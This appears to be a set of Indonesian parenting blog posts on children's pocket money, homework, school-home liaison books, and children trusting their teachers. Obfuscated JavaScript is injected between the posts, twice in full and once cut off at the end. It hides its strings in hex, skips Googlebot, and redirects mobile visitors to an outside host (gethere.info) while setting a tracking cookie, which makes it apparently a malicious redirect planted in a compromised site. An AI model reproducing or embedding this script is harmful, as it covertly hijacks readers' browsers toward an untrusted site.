Mengajar Anak Usia Dini : Uang Jajan atau Sangu

Berapakah besar uang jajan (uang saku /sangu) yang pas bagi siswa sekolah dasar dan bagi siswa sekolah menengah? Apakah uang jajan anak kita dapat kita jadikan sarana untuk mendidik mereka?
Menentukan besarnya uang jajan bagi seluruh anak pada semua sekolah adalah hal tidak mungkin kita lakukan. Karena variabel untuk menentukannya juga sangat beragam. Tingkat ekonomi orang tua, harga barang dan makanan pada tiap daerah, waktu anak belajar di sekolah, tingkat konsumsi anak, jenis kebutuhan anak dan variabel lain yang tidak dapat disebut. Sikap yang bijak bagi orang tua adalah melakukan survey sederhana terhadap beberapa variable di atas, kemudian melakukan dialog dengan anak atas kebutuhan-kebutuhan mereka, tawar-menawar jumlah uang jajan dan pemberian uang tersebut yang disertai dengan observasi penggunaan uang.
Banyak sekali orang tua melakukan kesalahan di dalam pemberian uang jajan kepada putra-putrinya, karena alasan cinta dan rasa kasihan, mereka memberikan uang melebihi kebutuhan anak tersebut. Anak mengkonsumsi beberapa makanan yang membahayakan bagi mereka, anak membeli barang-barang yang sebenarnya bukan menjadi kebutuhan mereka, dan mereka tidak mempunyai kontrol terhadap yang apa yang mereka beli
Namun, pada sisi lain beberapa orang tua terlalu kecil memberikan uang bahkan tidak memberikan sama sekali. Akibatnya anak tidak tercukupi kebutuhan, atau mereka menjadi minder karena ia sendiri yang tidak dapat memenuhi kebutuhan mereka.
Uang yang kita berikan kepada putra-putri kita sebenarnya dapat kita jadikan sebagai sarana untuk mendidik mereka, bukan sekedar untuk mencukupi kebutuhan mereka. Ada beberapa hal yang dapat kita ambil dari proses ini
<strong>Pertama</strong>, anak dilatih untuk membuat anggaran. Hal ini sangat berguna baginya setelah dewasa nanti, yakni setiap kali menerima uang, ia memiliki sebuah rencana penggunaan dana. Dengan adanya anggaran, pengelolaan juga menjadi lebih mudah dan penggunaan uang lebih bisa dikontrol. Untuk anak yang relatif masih kecil misalnya kelas tiga sekolah dasar, uang jajan bisa diberikan perminggu. Anggaran yang dibuat juga lebih sederhana misalnya dengan menuliskan apa saja yang ingin mereka beli pada pekan itu
<strong>Kedua</strong>, setelah anak menjadi lebih besar misalnya SMP atau SMA, sejumlah uang bisa diberikan sebulan sekali, tergantung pada kemampuan anak untuk mengaturnya. Karena diberikan sebulan sekali, sering disebut juga uang bulanan. Uang bulanan ini bisa mencakup hal-hal yang lebih luas. Anggaran yang dibutuhkan juga sedikit lebih kompleks dibandingkan sebelumnya. Anggaran bisa terdiri dari uang sekolah, uang les (kalau ada), transpor atau antar jemput, uang jajan,uang untuk kegiatan sosial (menjenguk teman yang sakit, sumbangan, dsb), serta tabungan. Uang kegiatan sosial bisa dimasukkan ke dalam anggaran, atau bisa juga diberikan secara insidental sesuai dengan kebutuhan. Saat anak di univertas, anggaran tentunya akan semakin luas, misalnya perlu dimasukkan anggaran untuk pakaian, sepatu, salon, hiburan atau rekreasi, fotokopy, uang buku, telepon, dan sebagainya.
<strong>Ketiga</strong>, anak belajar menahan diri, disiplin, dan menentukan prioritas atau memilih. Anak akan belajar bahwa ia tidak selalu bisa membelanjakan uangnya semaunya sendiri sesuai dengan keinginan. Ada batasan-batasan yang perlu diikuti dan dipatuhi agar pemakaian tidak melampaui anggaran yang ada. Sebab itu, saat anak ingin sekali membeli sesuatu tapi ternyata anggaran tidak memadai, ia akan belajar menahan diri dengan menunda, misalnya kalau barang itu memang sangat dibutuhkannya, atau ia akan melupakannya bila barang itu sebenarnya tidak terlalu dibutuhkan. Selain itu, anak juga belajar untuk menentukan prioritas dan belajar memilih mana yang harus didahulukan, mana yang masih bisa ditunda, dan mana yang mungkin dilupakan saja atau diabaikan.
<strong>Keempat</strong>, anak belajar lebih bertanggung jawab terhadap kepercayaan yang diberikan padanya. Waktu anak diserahkan sejumlah uang untuk dikelola sesuai dengan kebutuhannya, ia merasa dipercaya bahwa ia mampu melakukannya. Dan saat seseorang dipercaya, ia cenderung akan membuktikannya bahwa ia memang bisa dipercaya dan bahwa ia mampu. Dengan kata lain, saat seseorang dipercaya, ia juga cenderung lebih bertanggung jawab, kecuali bila ada masalah tertentu yang dapat menjadi hambatan. Selain itu, dengan adanya anggaran, anak bisa mengevaluasi apakah penggunaannya sudah sesuai, atau terlalu banyak hal yang melenceng sehingga perlu diperbaiki dan diperbaharui.
<strong>Kelima</strong>, anak belajar menabung. Anak perlu dilatih untuk menabung baik untuk membeli barang-barang yang memang dibutuhkan namun dengan jumlah dana yang cukup besar, ataupun untuk menghadapi situasi atau kebutuhan tak terduga. Dengan menabung, anak juga dipersiapkan untuk menghindari kebiasaan meminjam atau utang yang berpotensi memunculkan konflik di dalam keluarga.
<strong>Keenam</strong>, anak diajarkan tentang shadaqah sekaligus penerapannya. Ketika anak menerima uang jajan, mereka diminta untuk menyisihkan sebagian uang tersebut. Konsep bahwa sebagian harta adalah milik Allah perlu ditanamkan. Bila anak sejak dini mengenal dan memahami konsep tersebut, mereka umumnya akan menerapkan shadaqah dalam hidup mereka tanpa mengalami banyak kesulitan. Pada saat kita menanamkan konsep shadaqah, anak sebenarnya juga belajar tentang kejujuran, yaitu mengembalikan bagian yang menjadi milik Allah. Kita dapat menjelaskan juga tentang penggunaan uang shadaqah tersebut.

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Cara Mendidik Anak yang Benar : Orang Tua dan PR Anak

Bu Hadi selalu uring-uringan dengan putranya yang tengah belajar di kelas IV SD, setiap hari ia selalu disodori anaknya untuk bertanya tentang PR yang dia sendiri kurang menguasainya. Lain lagi dengan Bu Huda, ia selalu bertanya mengapa sekolah jarang sekali memberikan PR kepada putranya. Bu Anton hari-hari ini terlihat santai karena ia telah menemukan guru les yang akan selalu membantu putranya dalam mengerjakan PR.
PR singkatan dari pekerjaan rumah, yaitu sejumlah tugas yang diberikan guru kepada siswanya untuk dikerjakan di rumah. Ada beberapa maksud seorang guru memberikan PR kepada siswanya, diantaranya; pertama, PR sebagai kelanjutan pembelajaran di kelas, setelah anak memahami konsep yang diajarkan maka anak memasuki tahapan pembinaan keterampilan dengan memberikan soal-soal kepada mereka. Soal-soal tersebut dapat dikerjakan di dalam kelas atau dibawa ke rumah dalam bentuk PR.
Kedua, PR sebagai alat evaluasi guru apakah proses pembelajarannya telah dipahami oleh anak. Seorang guru akan memberikan PR kepada anak sesuasi dengan sebaran pokok bahasan yang telah disampaikannya. Ketiga, PR sebagai tugas mandiri anak untuk mempersiapkan materi yang akan datang, seperti anak diminta mengumpulkan data tentang Pulau Sulawesi sebelum guru menjelaskan tentang pulau tersebut. Keempat, PR sebagai alat untuk remidi dan pengayaan bagi anak, Kelima, PR sebagai alat untuk membangun kemandirian anak dalam belajar
Dengan berbagai tujuan PR di atas, ada beberapa fenomena yang muncul baik positif maupun negatif di kalangan orang tua, diantaranya:
<ol>
<li>Orang tua sering kurang memahami arah dan tujuan PR yang dibebankan kepada putra-putrinya. Seperti seorang siswa SD kelas satu yang diberi PR berupa mencontoh beberapa bangun segitiga, segiempat, lingkaran dan lain-lain. Ada orang tua yang justru meminta putranya untuk menggunakan penggaris saat mencontoh beberapa bidang tersebut. Padahal, dengan menggunakan alat tersebut nilai yang berupa peningkatan motorik halus anak kurang berkembang sesuai dengan tujuan diberikannya PR itu.</li>
<li>Beberapa orang tua mengerjakan PR anaknya dengan harapan dapat mendongkrak nilai harian putranya. Sikap ini justru pada jangka panjang akan membunuh kemandirian dan tanggung jawab anak. Disamping itu dengan jawaban orang tua, seorang guru tidak dapat mengevaluasi tingkat pemahaman anak didiknya terhadap materi yang diajarkan.</li>
<li>Tugas orang tua tentang PR adalah mendampingi anak di dalam mengerjakan PR, membimbing pada hal-hal yang anak kurang memahaminya, dan meneliti pekerjaan anak. Jika anak belum memahami konsep dengan benar, PR itu dapat dikembalikan kepada gurunya</li>
<li>Anak dituntut untuk harus selalu dapat mengerjakan PR dengan benar. PR anak tidak selalu harus benar, seorang anak perlu merasakan pernah salah karena ketidaktelitiannya sebagaimana ia pernah merasakan hal yang benar</li>
<li>Beberapa orang tua kebingungan saat anaknya tidak mempunyai PR yang harus ia kerjakan, karena ia tidak mempunyai sarana untuk memaksa putranya belajar. Paradigma belajar yang identik dengan PR akan sangat merugikan bagi siswa pada jangka panjang. Karena dapat membangun pola berfikir (mindset) anak bahwa belajar adalah tugas dan beban.</li>
<li>Keberadaan guru les pada satu sisi akan banyak membantu orang tua di dalam mendampingi putra-putri mengerjakan PR. Namun banyak sekali guru less berkembang menjadi tandingan bagi gurunya di sekolah. Anak mengalami dualisme kepercayaan, antara guru di sekolahnya dan guru les di rumah</li>
</ol>
PR adalah sebuah sarana bagi guru dan orang tua, ia seperti pisau di tangan seorang koki. Pastikan pisau tersebut digunakan dengan semestinya.

&nbsp;

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Cara Mendidik Anak Cerdas : Bahaya Buku Penghubung ( Sebuah Wacana )

Terima kasih atas ketersentakan Bapak/Ibu wali murid terhadap judul di atas. Tidak mungkin buku penghubung yang didesain awal dengan kemaslahatan-kemaslahatan di dalamnya justru menimbulkan bahaya bagi anak. Niat awal menerapkan program buku penghubung adalah terjalinnya komunikasi efektif antara orang tua dan sekolah, asal semua pihak mempunyai niat yang sama pasti buku penghubung itu akan banyak manfaatnya.
Pernyataan di atas mengingatkan pada cerita tentang seekor kera yang siang itu berayun di atas pohon besar yang daunnya mulai meranggas karena kemarau panjang. Sejurus kemudian ia melihat beberapa ekor ikan yang tidak tenang berenang pada sebuah kolam kecil di bawahnya. Muncul perasaan iba dari kera tersebut, kemudian ia berniat hendak menolong ikan-ikan tersebut dengan memindahkannya ke bawah daun-daun yang tidak terkena terik matahari. Beberapa saat kemudian ikan-ikan tersebut tidak bergerak lagi dan mati, karena tempat baru yang rindang tadi tidak ada airnya.
Kera mempunyai niat yang baik untuk menolong ikan dari panas terik matahari, namun ia tidak mengetahui satu prasyarat dasar bahwa ikan tidak mungkin hidup tanpa air. Ia telah menolong, tetapi pertolongannya justru mempercepat proses kematian saudaranya.
Program buku penghubung dibangun dalam sebuah kerangka niat untuk membangun komunikasi yang efektif antara wali murid dan sekolah. Kesibukan orang tua yang semakin tinggi merupakan kendala bagi pihak sekolah untuk menyampaikan informasi tentang perkembangan siswa-siswinya di sekolah. Sementara orang tua muncul perasaan tidak nyaman untuk menelepon guru putra-putrinya, karena takut mengganggu tugas mereka. Akan tetapi niat yang baik ini dapat menjadi bahaya jika tidak dilaksanakan dengan penuh kesungguhan dan tanggung jawab.
Minimal ada tiga manfaat yang dapat diambil oleh orang tua dan sekolah dari implementasi buku penghubung. Pertama, buku penghubung menjadi sarana untuk pemantauan kegiatan siswa di sekolah dan di rumah. Kedua, buku penghubung menjadi parameter dasar beberapa sikap dan karakter yang harus dilatihkan kepada anak setiap hari. Ketiga, orang tua dan guru dapat menulis pesan dan kondisi terkini siswa agar masing-masing pihak dapat memberikan follow up terhadap pesan tersebut
Namun, dari banyak manfaat yang terdapat pada buku penghubung tidak berarti ia tidak mengandung beberapa bahaya bagi anak. Seperti sebilah pisau yang sangat tajam, pada tangan seorang koki pisau tersebut sangat berguna. Sebaliknya pada tangan seorang penjahat pisau tersebut menjadi benda yang sangat membahayakan.
Beberapa bahaya tersebut mayoritas muncul dari proses implementasi program, diantaranya;

  1. Buku penghubung sebagai sarana untuk menakut-nakuti anak agar mau melakukan tugasnya. Seringkali orang tua yang mulai jengkel terhadap perilaku anaknya yang tidak segera mengerjakan tugas, membawa buku penghubung untuk dibaca di depan putra-putri dengan nada ancaman. Terdapat beberapa pengaruh negatif dari sikap orang tua yang selalu melakukannya. Pertama, muncul ketergantungan anak terhadap ancaman sehingga ia tidak akan melakukan tugasnya jika belum mendapat ancaman tersebut. Kedua, beberapa materi checlist yang ada dalam buku penghubung hanya menjadi sarana untuk mengancam anak, seperti petani yang selalu membawa cambuk untuk memastikan sapinya berjalan lurus ke depan. Sementara karakter yang sebenarnya ingin ditanamkan dalam buku penghubung tersebut dengan membangun motivasi internal anak justru terlewatkan
  2. Buku penghubung ditulis tidak sesuai dengan kondisi riil anak karena munculnya rasa kasihan kepada anak dan ingin melindunginya. Perilaku ini akan memunculkan sifat tidak jujur pada diri anak. Ia mendapatkan pujian di depan guru-gurunya walaupun sebenarnya ia tidak pernah melakukannya. Sifat tidak jujur ini lebih kuat menancap pada diri anak karena ia merasa didukung oleh orang tuanya
  3. Buku penghubungan ditulis sesuai dengan permintaan anak. Beberapa anak merengek kepada orang tuanya untuk menuliskan hal yang baik saja, atau meminta orang tuanya untuk menunggu ia melakukan shalat isya’ walaupun waktu itu sudah masuk shalat shubuh. Pada beberapa kali kondisi ini tidak terlalu berbahaya karena menunjukkan fleksibilitas orang tua dan memberi kesempatan bagi anak untuk memperbaiki diri. Namun akan sangat berbahaya jika selalu dilakukan oleh orang tua, karena menumbuhkan perilaku tidak komitmen pada diri anak. Ia terbiasa untuk mengubah peraturan dengan kecenderungan selalu boleh orang tuanya.
  4. Tidak ada tindak lanjut terhadap informasi dan hasil yang ada pada buku penghubung. Kondisi ini akan menjadikan anak terbiasa untuk meremehkan. Akan muncul anggapan bahwa mengisi buku penghubung hanyalah rutinitas antara orang tua dan guru mereka di sekolah. Baik maupun buruk yang diisi mereka pada buku penghubung tidak ada pengaruh bagi dirinya
  5. Orang tua atau guru tidak mempunyai kepedulian untuk mengisi buku penghubung. Sebuah program yang dicanangkan untuk diberlakukan kemudian karena alasan kesibukan dilaksanakan dengan setengah-setengah atau tidak sama sekali akan menjadi contoh buruk bagi pihak yang dikenai program tersebut. Seorang anak diawal tahun sudah dijelaskan tentang mekanisme buku penghubung serta kewajiban-kewajiban yang harus mereka lakukan sehubungan dengan buku tersebut, namun karena alasan kesibukan atau ketidakpedulian pihak-pihak terkait akan menumbukan sifat-sifat tidak konsisten, tidak bertanggung jawab, dan acuh tak acuh pada diri anak.

Dengan beberapa bahaya pada buku penghubung di atas tidak berarti kita harus surut untuk meninggalkan program tersebut, namun yang perlu ditumbuhkan adalah komitmen semua pihak, khususnya orang tua dan guru untuk menjadikan program ini sebagai program yang baik dan perlu dilaksanakan dengan sungguh-sungguh.

Saat satu gigi kita sakit tidak semua gigi harus ditanggalkan

Tips Parenting Islami : Guruku Anakku

Banyak orang tua merasa iri betapa putra-putri mereka lebih senang mendengarkan dan menuruti kata-kata gurunya daripada kata-kata orang tuanya. Mereka sering harus memarahi putra-putrinya untuk meminta melaksanakan shalat di awal waktu. Tetapi, betapa herannya mereka ketika anak-anak tersebut tiba-tiba berubah seratus delapan puluh derajat dan dengan segera melaksanakan shalat seusai adzan berkumandang. Setelah diselidi, ternyata guru di sekolahnya telah memberi nasihat kepada anak-anak tersebut untuk menyegerakan shalat saat adzan berkumandang.
Ada sedikit desiran di dalam hati kita, rasa iri akan kemampuan guru di dalam mengarahkan putra-putri kita. Ada kekhawatiran akan semakin hilangnya otoritas kita sebagai orang tua atas mereka. Kita merasa takut jika putra-putri kita di kemudian hari tidak lagi mau menaati kita sebagai orang tuanya, padahal kitalah yang merawat dan membiayai mereka sehari-hari.
Sebenarnya benarkah kita merasa iri dan khawatir akan sikap putra-putri kita tersebut? Beberapa psikolog justru melihat fenomena di atas sebagai sebuah kesuksesan dari suatu proses pendidikan. Anak yang selama ini hanya menerima otoritas orang tua telah berkembang sosialnya dengan menerima otoritas orang lain, yaitu otoritas gurunya. Dalam hal ini berarti salah satu tugas perkembangannya telah terlampaui, yaitu semakin meningkatnya skill sosial dengan menjadikan gurunya sebagai orang lain yang dipercayai.
Kegagalan anak pada proses ini akan menghambat mereka untuk membangun kepercayaan kepada orang lain. Kepercayaan kepada orang lain adalah modal dasar anak bagi terjadinya interaksi dengan orang lain.
Berbahagialah orang tua yang putra-putrinya menempatkan kepercayaan kepada gurunya yang nota bene mereka bertanggung jawab kepada kebaikan mereka, daripada mereka lebih percaya kepada teman-temannya dahulu. Banyak kasus remaja yang tumbuh dalam lingkungan keluarga yang baik, namun berkembang menjadi kurang baik karena kepercayaan mereka terhadap teman lebih tinggi daripada kepercayaan mereka kepada orang tuanya. Kebetulan teman yang mereka percayai tidak mengajak mereka kepada hal-hal yang baik.
Kewajiban orang tua dalam masalah ini adalah belajar untuk memahami bahwa sikap tersebut adalah hal wajar bahkan perlu disyukuri. Supaya orang tua tidak semakin kehilangan otoritas atas putranya adalah mengamati kepada guru apa yang yang telah dianjurkan untuk putra-putrinya dan apa yang dilarang, sehingga orang tua dan guru merupakan satu kata dan satu hati, karena sebenarnya orang tua dan guru adalah satu tim bagi perkembangan pendidikan anak.
Alangkah indahnya jika saat orang tua kesulitan untuk mengarahkan anak tentang kewajiban rumah, ada guru yang membantu mereka mengarahkannya. Atau sebaliknya, guru yang tidak mampu memanage seluruh kegiatan siswa di rumah, orang tua sangat perhatian terhadap kegiatan mereka.
Di samping masalah perpindahkan otoritas, fenomena di atas mungkin dipicu karakter orang tua yang jarang sekali memberi kesempatan anak untuk berbicara. Kesempatan dapat berupa waktu yang cukup bagi anak untuk melakukan kegiatan bersama orang tuanya dan saling berkomunikasi dengan harmonis. Kesempatan juga dapat berupa kesiapan orang tua untuk lebih banyak mendengar celoteh dan informasi dari anak dengan tanpa menjustifikasi benar dan salahnya ungkapan mereka.
Alangkah naifnya kita menuntut anak untuk lebih dekat dengan kita karena alasan mereka lahir dari kita, namun waktu yang kita berikan bagi mereka amat sempit bahkan dalam waktu-waktu yang tidak produktif sama sekali. Atau kita menuntut mereka mendengarkan apa yang kita bicarakan namun kita sendiri sulit untuk mendengarkan apa yang mereka katakan.
Kata kuncinya adalah "attachment" kedekatan antara orang tua dan anak. Apakah kita merasa telah dekat dengan anak dan mereka merasa dekat dengan kita. Jangan-jangan kita orang tua merasa kedekatan kita kepada anak cukup, namun sebaliknya mereka tidak merasakan sama sekali kedekatan itu dengan kita.
Betapa dekatnya Rasul kita Muhammad dengan anak, yang rela berlama-lama sujud hanya karena menunggu cucunya menikmati tunggangan pundak kakeknya.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 